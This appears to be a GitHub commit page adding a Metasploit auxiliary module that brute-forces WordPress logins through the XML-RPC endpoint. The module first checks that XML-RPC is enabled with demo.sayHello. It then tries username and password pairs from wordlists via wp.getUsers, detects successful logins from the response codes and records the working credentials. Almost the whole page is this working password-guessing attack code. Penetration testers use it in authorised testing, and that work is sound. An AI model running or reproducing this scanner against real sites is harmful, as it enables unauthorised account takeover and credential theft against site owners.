Skip to content

Commit cdabfb8

Browse files
committed
Add Wordpress XML-RPC Login Scanner
This module attempts to authenticate against a Wordpress-site (via XMLRPC) using username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. The module, checks for XMLRPC response using `demo.sayHello` function and sweeps users with `wp.getUsers` function. If `verbose` is set `true`, the raw XML response will be printed. The module might be usefull when the target's administration page is protected.
1 parent a0a2fdd commit cdabfb8

File tree

1 file changed

+158
-0
lines changed

1 file changed

+158
-0
lines changed
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
# wordpress_xmlrpc_login.rb
3+
##
4+
5+
##
6+
# This module requires Metasploit: http//metasploit.com/download
7+
# Current source: https://github.com/rapid7/metasploit-framework
8+
##
9+
10+
require 'msf/core'
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Scanner
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Report
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'Wordpress XML-RPC Username/Password Login Scanner',
21+
'Description' => %q{
22+
This module attempts to authenticate against a Wordpress-site
23+
(via XMLRPC) using username and password combinations indicated
24+
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
25+
},
26+
'Author' =>
27+
[
28+
'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>',
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'URL', 'https://wordpress.org/'],
34+
[ 'URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'],
35+
[ 'CVE', '1999-0502'] # Weak password
36+
]
37+
))
38+
39+
register_options(
40+
[
41+
Opt::RPORT(80),
42+
OptString.new('TARGETURI', [ true, 'The path to wordpress xmlrpc file, default is /xmlrpc.php', '/xmlrpc.php']),
43+
OptBool.new('VERBOSE', [false, 'Whether to print output for all attempts', false]) # warning
44+
], self.class)
45+
46+
deregister_options('BLANK_PASSWORDS') # we don't need this option
47+
end
48+
49+
def is_xmlrpc_enabled()
50+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
51+
xml << "<methodCall>"
52+
xml << "<methodName>demo.sayHello</methodName>"
53+
xml << "<params>"
54+
xml << "<param></param>"
55+
xml << "</params>"
56+
xml << "</methodCall>"
57+
58+
res = send_request_cgi({
59+
'uri' => datastore['TARGETURI'],
60+
'method' => 'POST',
61+
'data' => "#{xml}"
62+
})
63+
64+
if res
65+
if res.body =~ /<string>Hello!<\/string>/
66+
return true # xmlrpc is enabled
67+
end
68+
end
69+
return
70+
end
71+
72+
def generate_xml_request(user, pass)
73+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
74+
xml << "<methodCall>"
75+
xml << "<methodName>wp.getUsers</methodName>"
76+
xml << "<params><param><value>1</value></param>"
77+
xml << "<param><value>#{user}</value></param>"
78+
xml << "<param><value>#{pass}</value></param>"
79+
xml << "</params>"
80+
xml << "</methodCall>"
81+
return xml
82+
end
83+
84+
def run_host(ip)
85+
print_status("Checking #{rhost}:#{datastore['TARGETURI']} for xmlrpc..")
86+
if not is_xmlrpc_enabled
87+
print_error("#{rhost} XMLRPC is not enabled! -- Aborting")
88+
return :abort
89+
else
90+
print_good("XMLRPC enabled, Hello message received!")
91+
end
92+
93+
print_status("#{rhost}:#{rport} - Starting XML-RPC login sweep")
94+
each_user_pass { |user, pass|
95+
if user != "" # empty line fix
96+
do_login(user, pass)
97+
end
98+
}
99+
end
100+
101+
def do_login(user, pass)
102+
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
103+
xml_req = generate_xml_request(user, pass)
104+
begin
105+
res = send_request_cgi({
106+
'uri' => datastore['TARGETURI'],
107+
'method' => 'POST',
108+
'data' => "#{xml_req}"
109+
}, 25)
110+
http_fingerprint({ :response => res })
111+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
112+
print_error("HTTP Connection Failed, Aborting")
113+
return :abort
114+
end
115+
116+
if not res
117+
print_error("Connection timed out, Aborting")
118+
return :abort
119+
end
120+
121+
if res.code != 200
122+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
123+
return :skip_pass
124+
end
125+
126+
if res.code == 200
127+
# TODO: add more error codes
128+
if res.body =~ /<value><int>403<\/int><\/value>/
129+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
130+
return :skip_pass
131+
132+
elsif res.body =~ /<value><int>-32601<\/int><\/value>/
133+
print_error("Server error: Requested method `wp.getUsers` does not exists. -- Aborting")
134+
return :abort
135+
136+
elsif res.body =~ /<value><int>401<\/int><\/value>/ or res.body =~ /<name>user_id<\/name>/
137+
print_good("SUCESSFUL LOGIN. '#{user}' : '#{pass}'")
138+
# If verbose set True, dump xml response
139+
vprint_good("#{res}")
140+
141+
report_hash = {
142+
:host => datastore['RHOST'],
143+
:port => datastore['RPORT'],
144+
:sname => 'wordpress-xmlrpc',
145+
:user => user,
146+
:pass => pass,
147+
:active => true,
148+
:type => 'password'}
149+
150+
report_auth_info(report_hash)
151+
return :next_user
152+
end
153+
end
154+
# Unknow error
155+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
156+
return :skip_pass
157+
end
158+
end

0 commit comments

Comments
 (0)